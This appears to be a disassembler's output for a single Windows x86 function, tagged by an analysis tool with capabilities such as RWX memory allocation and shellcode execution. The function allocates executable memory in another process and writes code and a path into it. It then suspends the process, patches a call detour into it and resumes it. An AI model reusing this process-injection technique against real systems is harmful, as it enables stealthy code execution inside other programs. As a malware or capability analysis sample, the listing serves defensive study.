Function at 0x401f60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447911
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x168
mov eax, dword [0x45b008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebx + 8]
lea eax, [ebp - 0x138]
push edi
xorps xmm0, xmm0
mov dword [ebp - 0x144], edi
push eax
movlpd qword [ebp - 0x138], xmm0
call fcn.004013d0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x134], 0
jne 0x401fe7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._____Failed_to_parse_imports_n
call fcn.004027e0
jmp 0x402277
push 0x40
push 0x3000
push 0x1f4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x140], eax
test eax, eax
jne 0x40201b
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._____Failed_to_VirtualAlloc_n
call fcn.004027e0
jmp 0x402277
lea eax, [ebp - 0x130]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xorps xmm0, xmm0
mov dword [ebp - 0x150], 0
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x14c], 0
movups xmmword [ebp - 0x160], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402054
sub ecx, edx
lea eax, [ebp - 0x130]
push ecx
push eax
lea ecx, [ebp - 0x160]
call fcn.00401a50
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x14c]
mov eax, edx
mov ecx, dword [ebp - 0x150]
sub eax, ecx
push 0xb
push 0x456ec8
cmp eax, 0xb
jb 0x4020c0
cmp edx, 0x10
lea esi, [ebp - 0x160]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0x160]
add esi, ecx
mov dword [ebp - 0x150], eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 0xb], 0
add esp, 0xc
lea esi, [ebp - 0x160]
jmp 0x4020dc
mov byte [ebp - 0x13c], 0
lea ecx, [ebp - 0x160]
push dword [ebp - 0x13c]
push 0xb
call fcn.00402ed0
mov esi, eax
cmp dword [esi + 0x14], 0x10
jb 0x4020e4
mov esi, dword [esi]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0x10
jb 0x402124
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40211a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40211a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00407d42
add esp, 8
mov ecx, esi
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402144
sub ecx, edx
mov edx, dword [ebp - 0x140]
push 0
add edx, 4
mov dword [ebp - 0x13c], edx
lea eax, [ecx + 1]
push eax
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402249
mov eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x178]
push 0xc
mov dword [0x45b067], eax
xorps xmm0, xmm0
mov dword [0x45b070], eax
mov eax, dword [ebp - 0x13c]
push 0x456ef4
mov dword [0x45b079], eax
movups xmmword [ebp - 0x178], xmm0
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0
call fcn.00401a50
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x138]
call fcn.004025d0
mov eax, dword [eax]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x164]
mov dword [0x45b07f], eax
cmp ecx, 0x10
jb 0x40221b
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402211
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402211
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00407d42
add esp, 8
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402220
mov eax, dword [ebp - 0x140]
sub ecx, edx
push 0
push 0x22
add eax, 9
push 0x45b064
add eax, ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4022a5
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str._____WPM_failed_with_error_:
call fcn.004027e0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
push 0x402c10
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebp - 0x138]
push dword [eax + 4]
lea eax, [ebp - 0x138]
push eax
mov ecx, eax
call fcn.00401e10
push 0x2c
push dword [ebp - 0x138]
call fcn.00407d42
add esp, 8
xor al, al
jmp 0x40241c
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4022a8
sub esi, ecx
mov dword [ebp - 0x168], 0
push 5
xorps xmm0, xmm0
mov dword [ebp - 0x148], esi
push 0x456f04
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x164], 0
movups xmmword [ebp - 0x178], xmm0
call fcn.00401a50
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x138]
call fcn.004025d0
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x13c]
push 0
push 4
push ecx
push dword [eax]
push edi
call esi
mov edi, dword [ebp - 0x13c]
push str.NtSuspendProcess
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x144]
call eax
xor eax, eax
push eax
push 6
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x1c]
push eax
push edi
push dword [ebp - 0x144]
call esi
mov esi, dword [ebp - 0x144]
lea eax, [ebp - 0x1c]
push 0
push 6
push eax
lea eax, [edi + 6]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x148]
mov edx, dword [ebp - 0x140]
sub eax, edi
add edx, 5
mov byte [ebp - 0x24], 0xe8
push 0
add eax, edx
mov byte [ebp - 0x1f], 0x90
push 6
mov dword [ebp - 0x23], eax
lea eax, [ebp - 0x24]
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.NtResumeProcess
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call eax
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x4023ee
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4023e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4023e4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00407d42
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
push dword [eax + 4]
lea eax, [ebp - 0x138]
push eax
mov ecx, eax
call fcn.00401e10
push 0x2c
push dword [ebp - 0x138]
call fcn.00407d42
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00407d04
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4